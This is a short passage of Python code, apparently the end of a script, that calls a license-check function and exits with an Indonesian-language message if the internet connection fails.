if __name__=='__main__':
try:
lisensi()
except requests.exceptions.ConnectionError:
exit(f'\n [{M}!{C}] Koneksi internet bermasalah')